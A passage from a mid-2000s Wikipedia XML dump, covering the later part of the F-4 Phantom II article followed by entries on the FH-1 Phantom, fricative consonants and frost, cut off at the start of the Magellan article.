Nonetheless, on [[28 August]] 1972, [[Richard S. Ritchie|Steve Ritchie]] became the first USAF ace of the war. On [[9 September]] 1972, RIO [[Charles B. DeBellevue]] became the highest-scoring American ace of the war with six victories. RIO Jerry Feinstein became the last USAF ace of the war on [[13 October]] 1972. On [[31 January]] 1972, 170th TFS/183rd TFG of [[Illinois Air National Guard]] became the first [[United States National Guard|Air National Guard]] unit to transition to Phantoms. The ANG service lasted until [[31 March]] 1990, when the Phantom was replaced by the [[F-16 Fighting Falcon]]. Then, on [[15 August]] 1990, 24 F-4G [[Wild Weasel]] Vs and 6 RF-4Cs were mobilized to the Middle East for [[Gulf War|Operation Desert Storm]]. The reason for this revival was that the F-4G was the only [[SEAD]] aircraft in the USAF inventory with no [[F-15 Eagle|F-15]], F-16, or F/A-18 equipped for that role and the [[General Dynamics F-111|EF-111 Raven]] lacking the offensive capability of [[AGM-88 HARM]] missiles. The RF-4C was the only aircraft equipped with the ultra-long-range KS-127 LOROP (long-range oblique photography) camera. In spite of flying almost daily missions, only one RF-4C was lost in a fatal accident before the start of hostilities. One F-4G was lost when enemy fire  damaged the fuel tanks and the aircraft ran out of fuel near a friendly airbase. The last USAF Phantoms, F-4G Wild Weasel Vs from [[561st Fighter Squadron]], were retired on [[26 March]] 1996. Like the Navy, the Air Force continues to operate QF-4 target drones. The Collings Foundation operates a restored F-4D [[warbird]] which performs at airshows (Donald 2002).

In air combat, Phantom's greatest advantage was its excellent thrust which permitted a skilled pilot to engage and disengage from the fight at will. Not surprisingly, the massive aircraft lacked the agility of its Soviet opponents. Although the F-4 proved somewhat liable to enter spins during high-G and high angle of attack maneuvers, pilots reported the aircraft to be very communicative and easy fly on the edge of its performance envelope (Higham 1978). The J79 engines produced copious amounts of black smoke at military power which made the Phantoms easy to detect and visually track from a distance. By far, the biggest weakness of the F-4 was its lack of cannon armament. The US military doctrine at the time dictated that turning combat would be impossible at supersonic speeds and no effort was made to teach pilots [[air combat maneuvering]]. In reality, engagements quickly reduced the speed below the sound barrier and the early missiles were inaccurate and unreliable. [[Rules of engagement]] precluded long-range missile attacks and many pilots found themselves on the tail of enemy aircraft but too close to fire missiles. It did not take long for USAF F-4Cs to begin carrying [[SUU-16]] and [[SUU-23]] external gunpods containing a 20 mm [[M61 Vulcan]] gatling cannon. Combat trials demonstrated that while the externally mounted cannon was inaccurate, the cost of ammunition expended per shot down enemy aircraft was a small fraction of the missiles. The aircraft also gained the ability to strafe ground targets. The lack of cannon was definitively addressed with F-4E.

The Phantom was used by both [[Thunderbirds (squadron)|Thunderbirds]] (F-4E) and [[Blue Angels]] (F-4J) demonstration teams.

===Phantom in foreign service===
The F-4E and other variants have served with the air forces of many countries, including [[Australia]], [[Egypt]], [[Greece]], [[Iran]], [[Israel]], [[Japan]], [[Spain]], [[South Korea]], [[Turkey]], and [[West Germany]]. 

[[Israel Air Force]] Phantoms saw extensive combat during [[Arab-Israeli conflict]]s with 116 claimed victories to 55 losses, including ground fire. Nicknamed '''Kurnass''' (Sledgehammer), Israeli Phantoms undewent an extensive modification program to adapt them for local weapons and avionics. In 1980s, Israel began the '''Kurnass 2000''' modernization program which significantly updated avionics and added capability for [[AGM-142 Popeye]] missiles. Kurnass 2000 aircraft can be recognized by small strakes above air intakes and a &quot;probe-and-drogue&quot; boom plumbed into the boom receptacle on the spine of the aircraft. Israel also created a [[Pratt &amp; Whitney PW1120]]-engined version which first flew on [[30 July]] [[1986]]. The aircraft was capable of [[supercruise]], had 17% better thrust-to-weight ratio, 15% better sustained turn rate, 36% greater climb rate, and 27% better acceleration, all with improved fuel efficiency. The aircraft was demonstrated at the 1987 [[Paris Air Show]] but the project was deemed too expensive for the aging airframes.

A similar upgrade called '''Terminator 2020''' which is optimised for ground attack and unable to fire the AIM-120 AMRAAM, has also been implemented by IAI on Turkish Air Force Phantoms. It includes an advanced ELTA SPS-100 [[fire-control system]]/[[radar]], adopted from the abortive [[IAI Lavi]] technology demonstrator of the early 1990s.

The German [[Luftwaffe]] originally received the lightened and simplified F-4F with a smaller radar and no mid-air refueling or AIM-7 Sparrow capability. In [[1983 in aviation|1983]], Germany initiated the '''ICE''' (Improved Combat Efficiency) program which outfitted F-4Fs with the same [[AN/APG-65]] radar as in F/A-18, the ability to carry [[AIM-120 AMRAAM]] missiles, and smokeless engines.

The [[Hellenic Air Force]] upgraded its F-4 following the steps of the &quot;ICE&quot; program. The upgrade program includes an [[AN/APG-65]]GY radar, [[Honeywell]] H-764G navigation system which is a combination of laser [[inertial navigation system]] (LINS), [[global positioning system]] (GPS), and [[Elbit Systems]] Modular Multi-Role Computer (MMRC), the [[LITENING targeting pod]], and the ability to carry [[AIM-120 AMRAAM]] missiles and the [[AGM-130]] stand-off weapon.

The [[United Kingdom]] bought the F-4 for use with the [[Royal Air Force]] and [[Fleet Air Arm]] in the wake of the cancellation of home-grown projects such as the [[BAC TSR-2]]. British versions were based on the USN F-4J and were given the designation F-4K and F-4M respectively. They would enter service as the FG.1 and FGR.2. replacing the [[Hawker Hunter]] and [[de Havilland Sea Vixen]]. They were fitted with the larger and more powerful [[Rolls-Royce Spey]] [[turbofan]] engines for improved take-off performance. The larger engine required much more air than on other F-4 variants, which improved performance at low-level but compromised it in thinner air at high altitudes, and the airframe development needed to accomodate these changes was plagued by problems. The Fleet Air Arm Phantoms were fitted with a double-telescoping front landing gear strut which could extend 40 in (102 cm), the increased [[angle of attack]] being necessary for catapult launches from the smaller British carrier [[HMS Ark Royal (R09)|HMS ''Ark Royal'']]. Some elements of the airframe and equipment were built in the UK. The Fleet Air Arm order was cut down with the cutting back of the [[Royal Navy]] carrier force, the majority of the 160 UK Phantoms that would be built operating with the RAF in ground attack and long range interception. In the late [[1970s]] RAF Phantoms were replaced by the [[SEPECAT Jaguar]] for ground attack roles and the FAA Phantoms disbanded and given over to the RAF. In addition to these, in [[1984]], the RAF purchased a total of 15 F-4J aircraft second-hand from the [[US Navy]] to increase its interceptor force following the [[Falklands War]] (a Phantom squadron was posted to the islands after the hostilities). The Phantom was replaced in British service by the [[Panavia Tornado]] [[RAF Tornado F3|F3]] air defence variant. The [[United Kingdom|UK]] retired its last Phantoms in [[1993 in aviation|1993]] as a result of the [[Options for Change]] spending cuts (Donald 2002).

===Phantom nicknames===
[[image:F-4 parts distribution.jpg|thumb|A German F-4F at an airshow labeled &quot;World's Largest Distributor of MiG Parts.&quot;]]
Either devoutly loved or passionately hated by those who flew it and worked on it, the Phantom gathered a number of nicknames during its illustrious career. It was the &quot;Rhino&quot; because of the long nose and tough [[titanium]] construction, the &quot;Double Ugly&quot; and &quot;DUFF&quot; in reference to its [[dihedral]] wings and [[anhedral]] tail as well as its two crew members, the &quot;World's Leading Distributor of MiG Parts&quot; in tribute to its record of downing 277 [[MiG]] aircraft in US service and additional 116 with Israel, the &quot;Flying Anvil&quot;, the &quot;Big Iron Sled&quot;, and the &quot;Louisville Slugger.&quot; German Luftwaffe crews called their F-4s the &quot;Eisensau&quot; (Iron sow), &quot;Fliegender Ziegelstein&quot; (Flying brick), and &quot;Luftverteidigungsdiesel&quot; (Air defence diesel). Imitating the spelling of the aircraft's name, fans of the F-4 (&quot;Phantom Phanatics&quot;) call it the &quot;Phabulous Phantom.&quot; Ground crews who worked on the aircraft are known as &quot;Phantom Phixers.&quot;

===The Spook===
[[image:Spook_1000.jpg|frame|A patch depicting the Spook]]
As famous as the aircraft itself is its emblem, a whimsical cartoon ghost called '''The Spook'''. It was created by a McDonnell Douglas technical artist Anthony &quot;Tony&quot; Wong for shoulder patches. The name was coined by the crews of either [[12th Tactical Fighter Wing]] or [[4453rd Combat Crew Training Wing]] at [[MacDill AFB]]. The figure is ubiquitous, appearing on every imaginable item associated with the F-4. Spook has followed the Phantom around the world adopting local fashions. For example, the British Spook sometimes wears a bowler hat and carries a pipe.

==Operators==
{{main|List of units using the F-4 Phantom}}
The [[United States Navy]], [[United States Marine Corps]], and [[United States Air Force]] all flew various models of the Phantom. Some of the dozens of other users included the United Kingdom's [[Royal Air Force]] and [[Fleet Air Arm]], [[Luftwaffe]], [[Hellenic Air Force]] and the [[Israeli Air Force]].

==Variants==
{{main|F-4 Phantom II variants}}

==Specifications (F-4E)==
[[Image:F-4 3-view.jpg|right|300px|F-4B Phantom II]]
{{Airtemp|
|jet or prop?=jet
|plane or copter?=plane
|include 'armament' field?=yes
|include 'capacity' field?=no
|switch order of units?=no

&lt;!-- please include units. if something doesn't apply, leave it blank. --&gt;
|crew=2
|capacity=
|length main=63 ft 0 in
|length alt=19.2 m
|span main=38 ft 7 in
|span alt=11.7 m
|height main=16 ft 5 in
|height alt=5.0 m
|area main=530.0 ft&amp;sup2;
|area alt=49.2 m&amp;sup2;
|empty weight main=30,300 lb
|empty weight alt=13,770 kg
|loaded weight main=41,500 lb
|loaded weight alt=18,865 kg
|useful load main=
|useful load alt=
|max takeoff weight main=61,795 lb
|max takeoff weight alt=28,090 kg

|engine (jet)=[[General Electric J79]]-GE-17A
|type of jet=[[axial compressor]] [[turbojet]]
|number of jets=2
|thrust main=17,845 lbf
|thrust alt=79.6 kN
|engine (prop)=
|type of prop=
|number of props=
|power main= hp
|power alt= kW
   
|max speed main=1,430 mph at 36,000 ft (Mach 2.2)
|max speed alt=2,300 km/h at 11,000 m
|cruise speed main=585 mph
|cruise speed alt=940 km/h
|range main=600 mi
|range alt=965 km
|ceiling main=60,000 ft
|ceiling alt=18,300 m
|climb rate main=49,850 ft/min
|climb rate alt=253 m/s
|loading main=78 lb/ft&amp;sup2;
|loading alt=383 kg/m&amp;sup2;
|thrust/weight=0.86
|power/mass main=
|power/mass alt=

|armament=
* 1x 20 mm [[M61 Vulcan]] gatling cannon, 639 rounds
* Up to 18,650 lb (8,480 kg) of weapons on nine external hardpoints, including general purpose bombs ([[Mark 82 bomb|Mk 82]]/[[Mark 83 bomb|Mk 83]]/[[Mark 84 bomb|Mk 84]]), cluster bombs ([[CBU-52]]/[[CBU-59]]/[[CBU-71]]/[[CBU-87]]/[[CBU-89]], [[BL755]]), rocket pods ([[LAU-10]], [[LAU-3]], [[LAU-68]]), air-to-ground missiles ([[AGM-45 Shrike]], [[AGM-65 Maverick]], [[AGM-78 Standard]], [[AGM-88 HARM]], [[AGM-142 Popeye]]), TV-guided bombs ([[GBU-15]]), laser-guided bombs ([[GBU-10]]/[[GBU-12]]/[[GBU-16]]/[[GBU-24]]), anti-runway weapons ([[BLU-107 Durandal]]), anti-ship missiles (ASM-1/2 and [[Gabriel missile|Gabriel IIIAS]]), targeting pods (AN/AVQ-23 [[Pave Spike]], AN/AVQ-26 [[Pave Tack]], [[LITENING targeting pod|LITENING]]), recce pods, and nuclear weapons ([[B43 nuclear bomb|B43]]/[[B57 nuclear bomb|B57]]/[[B61 nuclear bomb|B61]]). MXU-648 baggage pods may also be carried as well as external fuel tanks of 370 US gal (1,420 l) for the outer wing hardpoints and either a 600 or 610 US gal (2,310 or 2,345 l) fuel tank for the centerline station. 
* 4x [[AIM-7 Sparrow]] in fuselage recesses plus 4x [[AIM-9 Sidewinder]]s on wing pylons; upgraded Hellenic F-4E and German F-4F ICE carry [[AIM-120 AMRAAM]], Japanese F-4EJ Kai carry [[AAM-3]], Hellenic F-4E will carry [[IRIS-T]] in future. Iranian F-4's potentially carry Russian and Chinese missiles. 

}}

==F-4s in fiction==
In the comic strip ''[[Calvin and Hobbes]]'', there is a Sunday strip where Calvin experiences technical problems (for example a [[undercarriage|landing gear]] malfunction) while piloting an F-4 Phantom. In reality, he is trying to assemble a [[model airplane|model]] of an F-4 and not doing very well at it. The technical difficulties in his [[daydream]] reflected difficulties in assembling the model, such as being unable to see through the canopy due to smeared [[glue]].

The F-4 made movie appearances in ''[[The Great Santini]]'', ''[[Red Flag]]'', ''[[Iron Eagle II]]'', ''[[Forrest Gump]]'', and ''[[Hamburger Hill]]'' (where F-4E's from [[Clark Air Base]] in the Philippines were used during the shooting of the napalm scene from the movie in 1987).

The F-4E was also seen as the [[Aerialbot]] Fireflight in the cartoon ''[[The Transformers]]''. In the anime series [[Area 88]], The Royal Asranian Air Force employs several F-4Js in service with its mercenary corps. The F-4 is also featured in the [[Namco]] games [[Ace Combat 4: Shattered Skies]] and [[Ace Combat 5: The Unsung War]], and it was also featured in the game [[Flight of the Intruder]] along with the [[A-6 Intruder]]. The aircraft is a player flyable option in the [[flight simulator]]s [[Jane's USAF]] and [[Jane's IAF]], and was seen in [[Magnum P.I.]] as a [[Russia]]n fighter.

==References==
* Bowers, PM, Angellucci, E. (1987) ''The American Fighter.'' Orion Books. ISBN 0517565889
* Donald D., Lake J. (eds.) (1996) ''Encyclopedia of world military aircraft.'' AIRtime Publishing. ISBN 1880588242
* Donald, D, Lake J. (eds.) (2002) ''McDonnell F-4 Phantom: Spirit in the Skies.'' AIRtime Publishing. ISBN 1880588315
* Higham R, Williams C. (eds.) (1978) ''Flying combat aircraft of USAAF-USAF (Vol.2).'' Air Force Historical Foundation. ISBN 0813803756 (v.2)
* Swanborough, G, Bowers, PM. (1989) ''United States Military Aircraft Since 1909.'' Smithsonian. ISBN 0874748801
* Taylor, MJH. (1991) ''Jane's American Fighting Aircraft of the 20th Century.'' Mallard Press. ISBN 0792456270
* Wagner, R. (1982) ''American Combat Planes, Third Enlarged Edition.'' Doubleday. ISBN 0385131208

==External links==
*[http://www.wpafb.af.mil/museum/research/fighter/f110.htm USAF Museum: F-4 as F-110 Spectre]
*[http://www.af.mil/news/story.asp?storyID=123009465 ‘Silver Lobos’ fly into retirement]
*[http://www.vogue-web.ch/f4 ‘F-4 Phantom Web]

==Related content==
{{aircontent|

|sequence=
* '''Pre-1962:'''
** Navy ''A'' sequence: [[A-4 Skyhawk|A4D]] - [[AF Guardian|AF]] - [[A-6 Intruder|A2F]] - '''AH''' - [[AJ Savage|AJ]] - [[AJ Savage|A2J]] - [[A-5 Vigilante|A3J]]
** Navy ''F'' sequence: [[FH Phantom|FH]] - [[F2H Banshee|F2H]] - [[F3H Demon|F3H]] - '''F4H''' - [[FJ Fury|FJ]] - [[P-39 Airacobra|FL]] - [[P-63 Kingcobra|F2L]]
** Air Force sequence: [[F-106 Delta Dart|F-106]] - [[YF-107 Ultra Sabre|YF-107]] - [[XF-108 Rapier|XF-108]] - '''F-110''' - [[F-111 Aardvark|F-111]] - [[F-117 Nighthawk|F-117]]
* '''Post-1962:''' 
** [[FJ Fury|F-1]] - [[F2H Banshee|F-2]] - [[F3H Demon|F-3]] - [[F-4 Phantom II|F-4]] - [[F-5 Freedom Fighter|F-5]] - [[F4D Skyray|F-6]] - [[F2Y Sea Dart|F-7]] 

|related=
* [[F3H Demon]]

|similar aircraft=
* [[F-8 Crusader]]
* [[MiG-19]]
* [[MiG-21]]
* [[English Electric Lightning]]

|lists=
* [[List of fighter aircraft]]
* [[List of military aircraft of the United States]]

|see also=

}}

[[Category:Carrier-based aircraft]]
[[Category:U.S. fighter aircraft 1950-1959|F-004 Phantom II]]
[[Category:Vietnam War aircraft]]

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      <text xml:space="preserve">[[image:fh1.phantom.750pix.jpg|thumb|300px|McDonnell FH-1 Phantom.]]
The [[McDonnell Aircraft Corporation|McDonnell]] '''FH-1 Phantom''' was a twin-engine jet [[fighter aircraft]] designed during [[World War II]] for the [[United States Navy]].  On [[July 21]], [[1946]], a Phantom became the first combat jet aircraft to operate from an American [[aircraft carrier]], the [[USS Franklin D. Roosevelt|USS ''Franklin D. Roosevelt'']].

In early [[1943]], the McDonnell was invited by the U.S. Navy to co-operate in the development of a shipboard jet fighter, using an engine from the set turbojets under development by the Westinghouse Electric Corporation. Three prototypes were ordered on August 30, 1943 and the designation '''XFD-1''' was assigned. Then, after evaluating a number of engine combinations, from using eight 9.5 inch (241 mm) diameter engines down to two engines of 19 inch (483 mm) diameter, a selection using the two 19 inch (483 mm) engines was found to be the lightest and simplest configuration. 

An aircraft design with the engines buried in the wing root was selected to keep intake and exhaust ducts short, an arrangement that offered greater aerodynamic efficiency than underwing nacelles. Provisions for four 0.5 in (12.7 mm) machine guns were made in the nose. 

When the first XFD-1 was completed in January 1945 only one Westinghouse 19XB-2B engine was available for installation. Ground runs and taxi test were conducted with the single engine, and such was the confidence in the aircraft that the first flight on January 26, 1945 was made with only the one turbojet engine. With successful completion of tests, a production contract was awarded on March 7, [[1945]] for one hundred '''FD-1''' aircraft. Later the designation was changed to '''FH-1''' as the manufacturer’s letter “D” had already been assigned to the [[Douglas Aircraft Company]]. (22 years later, long after the last FH had been delivered, McDonnell and Douglas would merge to form McDonnell Douglas).

With the end of the war the number under contract was reduced to 60 aircraft and the first production aircraft was delivered in January 1947.

=== General characteristics ===
* First flight:  [[January 26]], [[1945]]
* Wingspan:  40 ft 9 in (12.4 m), wings folded: 16 ft 3 in (5 m)  
* Length:  38 ft 9 in (11.8 m) 
* Height:  14 ft 2 in (4.3 m) 
* Weight:  4,500 kg (9,920 lb)
* Speed:  500 mph (800 km/h)
* Ceiling:  41,100 ft (12,500 m)
* Range:  695 miles (1300 km)
* Accommodation:  One crew 
* Armament:  4 x 22 mm cannons 
* Power plant:  2 x 1,600 lbf (7 kN) thrust [[Westinghouse Electric Corporation|Westinghouse]] J30-WE-20 [[Jet engine|turbojet]]s

==References==
* William Green (1961). ''War Planes of the Second World War - Fighters'', (Vol 4). London: MacDonald

==Related content==
{{aircontent|
&lt;!-- yes or no. are there links? is the aircraft part of a designation/model sequence? --&gt;
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|has sequence=yes
|has relations=yes
|has lists=yes
|see also?=no

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|sequence=
[[FH Phantom|FH]] -
[[F2H Banshee|F2H]] -
[[F3H Demon|F3H]] -
[[F-4 Phantom II|F4H]]

|related=
*[[F2H Banshee]]

|similar aircraft=
*[[FJ Fury]]

|lists=
*[[List of fighter aircraft]]
*[[List of military aircraft of the United States]]

|see also=

}}

&lt;!-- The below are interlanguage links. --&gt;

[[Category:Carrier-based aircraft]]
[[Category:U.S. fighter aircraft 1940-1949]]
[[Category:World War II American jet aircraft]]

[[de:McDonnell FH-1]]
[[fi:FH-1 Phantom]]
[[ja:FH-1 (戦闘機)]]
[[pl:McDonnell FH-1 Phantom]]</text>
    </revision>
  </page>
  <page>
    <title>Fricative consonant</title>
    <id>11762</id>
    <revision>
      <id>36879457</id>
      <timestamp>2006-01-27T01:42:39Z</timestamp>
      <contributor>
        <username>Dbenbenn</username>
        <id>38020</id>
      </contributor>
      <comment>change to [[Category:Fricative consonants]]</comment>
      <text xml:space="preserve">{{Manner of articulation}}
'''Fricatives''' (or '''spirants''') are [[consonant]]s produced by forcing air through a narrow channel made by placing two articulators close together. These are the lower lip against the upper teeth in the case of {{IPA|[&amp;nbsp;f&amp;nbsp;]}}, or the back of the tongue against the soft palate in the case of German {{IPA|[&amp;nbsp;x&amp;nbsp;]}}, the final consonant of ''Bach''.  This turbulent airflow is called '''frication'''.  A particular subset of fricatives are the '''[[sibilant]]s''' (sometimes referred to as '''stridents'''). When forming a sibilant, one still is forcing air through a narrow channel, but in addition the tongue is curled lengthwise to direct the air over the edge of the teeth.  English {{IPA|[&amp;nbsp;s&amp;nbsp;]}}, {{IPA|[&amp;nbsp;z&amp;nbsp;]}}, {{IPA|[&amp;nbsp;ʃ&amp;nbsp;]}}, and {{IPA|[&amp;nbsp;ʒ&amp;nbsp;]}} are examples of this.  

===Sibilant fricatives===

* {{IPA|[&amp;nbsp;s&amp;nbsp;]}} [[voiceless alveolar fricative|voiceless coronal sibilant]] 
* {{IPA|[&amp;nbsp;z&amp;nbsp;]}} [[voiced alveolar fricative|voiced coronal sibilant]] 
* {{IPA|[&amp;nbsp;s’&amp;nbsp;]}} [[alveolar ejective fricative|ejective coronal sibilant]] 
* {{IPA|[&amp;nbsp;s̪&amp;nbsp;]}} [[voiceless dental sibilant]] 
* {{IPA|[&amp;nbsp;z̪&amp;nbsp;]}} [[voiced dental sibilant]] 
* {{IPA|[&amp;nbsp;s̠&amp;nbsp;]}} [[voiceless postalveolar fricative|voiceless postalveolar sibilant]] (laminal)
* {{IPA|[&amp;nbsp;z̠&amp;nbsp;]}} [[voiced postalveolar fricative|voiced postalveolar sibilant]] (laminal)
* {{IPA|[&amp;nbsp;ʃ&amp;nbsp;]}} [[voiceless postalveolar fricative|voiceless palato-alveolar sibilant]] (domed, partially palatalized)
* {{IPA|[&amp;nbsp;ʒ&amp;nbsp;]}} [[voiced postalveolar fricative|voiced palato-alveolar sibilant]] (domed, partially palatalized)
* {{IPA|[&amp;nbsp;ɕ&amp;nbsp;]}} [[voiceless alveolo-palatal fricative|voiceless alveolo-palatal sibilant]] (laminal, palatalized)
* {{IPA|[&amp;nbsp;ʑ&amp;nbsp;]}} [[voiced alveolo-palatal fricative|voiced alveolo-palatal sibilant]] (laminal, palatalized)
* {{IPA|[&amp;nbsp;ʂ&amp;nbsp;]}} [[voiceless retroflex fricative|voiceless retroflex sibilant]] (apical or sub-apical)
* {{IPA|[&amp;nbsp;ʐ&amp;nbsp;]}} [[voiced retroflex fricative|voiced retroflex sibilant]] (apical or sub-apical)

All sibilants are [[coronal consonant|coronal]], but may be [[dental consonant|dental]], [[alveolar consonant|alveolar]], [[postalveolar consonant|postalveolar]], or [[palatal consonant|palatal]] ([[retroflex consonant|retroflex]]) within that range. However, at the postalveolar place of articulation the tongue may take several shapes: domed, [[laminal consonant|laminal]], or [[apical consonant|apical]], and each of these is given a separate symbol and a separate name. Prototypical retroflexes are [[sub-apical consonant|sub-apical]] and palatal, but they are usually written with the same symbol as the apical postalveolars. The alveolars and dentals may also be either apical or laminal, but this difference is indicated with diacritics rather than with separate symbols.

===Central non-sibilant fricatives===

* {{IPA|[&amp;nbsp;ɸ&amp;nbsp;]}} [[voiceless bilabial fricative]]
* {{IPA|[&amp;nbsp;β&amp;nbsp;]}} [[voiced bilabial fricative]]
* {{IPA|[&amp;nbsp;f&amp;nbsp;]}} [[voiceless labiodental fricative]]
* {{IPA|[&amp;nbsp;v&amp;nbsp;]}} [[voiced labiodental fricative]] 
* {{IPA|[&amp;nbsp;θ̼&amp;nbsp;]}} [[voiceless linguolabial fricative]]
* {{IPA|[&amp;nbsp;ð̼&amp;nbsp;]}} [[voiced linguolabial fricative]]
* {{IPA|[&amp;nbsp;θ̟&amp;nbsp;]}} [[voiceless interdental fricative]]
* {{IPA|[&amp;nbsp;ð̟&amp;nbsp;]}} [[voiced interdental fricative]]
* {{IPA|[&amp;nbsp;θ&amp;nbsp;]}} [[voiceless dental fricative|voiceless dental nonsibilant fricative]]
* {{IPA|[&amp;nbsp;ð&amp;nbsp;]}} [[voiced dental fricative|voiced dental nonsibilant fricative]]
* {{IPA|[ θ̠, ɹ̝̊ ]}} [[Voiceless_alveolar_fricative#The_voiceless_alveolar_non-sibilant_fricative|voiceless alveolar nonsibilant fricative]]
* {{IPA|[ ð̠, ɹ̝ ]}} [[Voiced_alveolar_fricative#The_voiced_alveolar_non-sibilant_fricative|voiced alveolar nonsibilant fricative]]
* {{IPA|[&amp;nbsp;ç&amp;nbsp;]}} [[voiceless palatal fricative]]
* {{IPA|[&amp;nbsp;ʝ&amp;nbsp;]}} [[voiced palatal fricative]]
* {{IPA|[&amp;nbsp;x&amp;nbsp;]}} [[voiceless velar fricative]]
* {{IPA|[&amp;nbsp;ɣ&amp;nbsp;]}} [[voiced velar fricative]]
* {{IPA|[&amp;nbsp;ɧ&amp;nbsp;]}} [[voiceless palatal-velar fricative]] (articulation disputed)
* {{IPA|[&amp;nbsp;χ&amp;nbsp;]}} [[voiceless uvular fricative]]
* {{IPA|[&amp;nbsp;ħ&amp;nbsp;]}} [[voiceless pharyngeal fricative]]
* {{IPA|[&amp;nbsp;ʜ&amp;nbsp;]}} [[voiceless epiglottal fricative]]

===Lateral fricatives===
* {{IPA|[&amp;nbsp;ɬ&amp;nbsp;]}} [[voiceless alveolar lateral fricative|voiceless coronal lateral fricative]]
* {{IPA|[&amp;nbsp;ɮ&amp;nbsp;]}} [[voiced alveolar lateral fricative|voiced coronal lateral fricative]]
* {{IPA|[&amp;nbsp;ɬ̢&amp;nbsp;]}} [[voiceless retroflex lateral fricative]]  
* {{IPA|[&amp;nbsp;ʎ̥&amp;nbsp;]}} [[voiceless palatal lateral fricative]] (needs a raising diacritic)
* {{IPA|[&amp;nbsp;ʟ̝̊&amp;nbsp;]}} [[voiceless velar lateral fricative]]

===Symbols used for both fricatives and approximants===

* {{IPA|[&amp;nbsp;ʁ&amp;nbsp;]}} [[voiced uvular fricative]] 
* {{IPA|[&amp;nbsp;ʕ&amp;nbsp;]}} [[voiced pharyngeal fricative]]
* {{IPA|[&amp;nbsp;ʢ&amp;nbsp;]}} [[voiced epiglottal fricative]]

No language distinguishes voiced fricatives from approximants at these places, so the same symbol is used for both. For the pharyngeals and epiglottals, approximants are more numerous than fricatives. A fricative realization may be specified by adding the [[raised (phonetics)|uptack]] to the letters, {{IPA|[ʁ̝, ʕ̝, ʢ̝]}}. Likewise, the [[lowered (phonetics)|downtack]] may be added to specify an approximant realization, {{IPA|[ʁ̞, ʕ̞, ʢ̞]}}.

===Pseudo-fricatives===

* {{IPA|[&amp;nbsp;h&amp;nbsp;]}} [[voiceless glottal fricative|voiceless glottal transition]]
* {{IPA|[&amp;nbsp;ɦ&amp;nbsp;]}} [[voiced glottal fricative|breathy-voiced glottal transition]] 

The glottal &quot;fricatives&quot; are actually unaccompanied [[phonation]] states of the glottis, without any accompanying manner, fricative or otherwise. However, they are called fricatives for historical reasons. 

In addition, {{IPA|[&amp;#653;]}} is usually called a &quot;[[voiceless labial-velar fricative]]&quot;, but it is actually an approximant. True doubly-articulated fricatives do not appear to occur in any language.

==Languages==
See [[table of consonants]] for a table of fricatives in English.

[[Ubykh language|Ubykh]] may be the language with the most fricatives, with 27, some of which do not have symbols or diacritics in the IPA. This number actually outstrips the number of all consonants in English (which has 24 consonants). By contrast, many languages have no phonemic fricatives at all, and this is a common feature of many [[Australian Aboriginal languages]].

==See also==
* [[List of phonetics topics]]

[[Category:Fricative consonants| ]]

[[da:Frikativ]]
[[de:Frikativ]]
[[fr:Consonne fricative]]
[[ko:마찰음]]
[[he:עיצורים חוככים]]
[[nl:Fricatief]]
[[ja:摩擦音]]
[[pl:Spółgłoska szczelinowa]]
[[ro:Consoană fricativă]]
[[sv:Frikativa]]
[[zh:擦音]]</text>
    </revision>
  </page>
  <page>
    <title>Frost</title>
    <id>11763</id>
    <revision>
      <id>41075968</id>
      <timestamp>2006-02-24T22:14:58Z</timestamp>
      <contributor>
        <username>Bcnfal@hotmail.com</username>
        <id>985302</id>
      </contributor>
      <minor />
      <comment>/* See also */</comment>
      <text xml:space="preserve">{{otheruses}}

[[Image:GrassCoatedInFrost.jpg|thumb|250px|right|Blades of [[Poaceae|grass]] coated in frost.]]
[[Image:Frost on black pipes.jpg|thumb|250px|right|Frost on black pipes]]
[[Image:Frost on window.jpg|thumb|250px|right|Frost on window]]
'''Frost''', like [[snow]], is the result of [[deposition (meteorology)|deposition]] of [[water vapor]] in [[Saturation (chemistry)|saturated]] air. If solid surfaces in contact with the air are chilled below the deposition point (see [[dew point|frost point]]), then [[spicule]]s of [[ice]] grow out from the solid surface. The size of the [[crystal]]s depends on time and the amount of [[water vapor]] available.

Frost is often observed around cracks in wooden sidewalks due to the moist air escaping from the ground below. Other objects on which frost develops are those with low [[specific heat]] and high [[thermal emissivity]], such as blackened metals; hence the accumulation of frost on the heads of rusty nails. The apparently erratic occurrence of frost in adjacent localities is due partly to differences of elevation, the lower areas becoming colder on calm nights. It is also affected by differences in [[absorbtivity]] and specific heat of the ground which in the absence of wind greatly influences the temperature attained by the [[superincumbent]] air. The formation of white frost on the indoor surface of window panes indicates low [[relative humidity]] of the indoor air, otherwise water would first [[condensation|condense]] in small droplets and then freeze into clear ice.

Because cold air is more dense than warm air, and forms close to the ground, in calm weather cold air pools at ground level. This is known as surface temperature inversion.  It explains why frost is more common and extensive in low-lying areas such as valleys and hollows.  Areas where frost forms due to cold air trapped against the ground or against a solid barrier such as a wall are known as &quot;frost pockets&quot;.  Frost can form in these areas even when the reported temperature is above the freezing point of water.  

Vegetation will not necessarily be damaged on a night where the air cools the leaves of plants below their freezing point.  In the absence of a site nucleating the formation of ice crystals, the leaves remain in a [[supercooled]] liquid state, safely reaching temperatures of -4 &amp;deg;C to -12 &amp;deg;C.  However, once frost forms, the leaf [[cell (biology)|cell]]s may be damaged by sharp ice crystals.  Certain [[bacterium|bacteria]] are particularly effective at triggering frost formation, raising the nucleation temperature to about -1 &amp;deg;C.  In the absence of these &quot;ice-nucleating&quot; bacteria, frost damage can be greatly reduced.

==See also==
{{commonscat|frost}}
*[[freezing fog]]
*[[frost flowers]]
*[[frost heaving]]
*[[hoarfrost]]
*[[ice fog]]
*[[icing (shipping)]]
*[[rime ice]]
*[[Compufrost]]

[[Category:Weather]]
[[Category:Psychrometrics]]
[[Category:Water ice]]
[[Category:Precipitation]]

[[da:Rimfrost]]
[[de:Frost]]
[[es:Escarcha]]
[[eo:Frosto (temperaturo)]]
[[fr:Givre]]
[[it:Le Givre]]
[[lt:Šarma]]
[[nl:Vorst (weer)]]
[[ja:霜]]
[[pl:Givre]]
[[pt:Geada]]
[[sr:Givre]]
[[sv:Frost]]
[[zh:霜]]</text>
    </revision>
  </page>
  <page>
    <title>Ferdinand Magellan</title>
    <id>11764</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41666728</id>
      <timestamp>2006-02-28T23:06:18Z</timestamp>
      <contributor>
        <username>Markalexander100</username>
        <id>44845</id>
      </contributor>
      <comment>/* Further reading no, no, no</comment>
      <text xml:space="preserve">{{featured article}}
{{Infobox_Biography |
  subject_name = Ferdinand Magellan |
  image_name = Ferdinand Magellan.jpg |
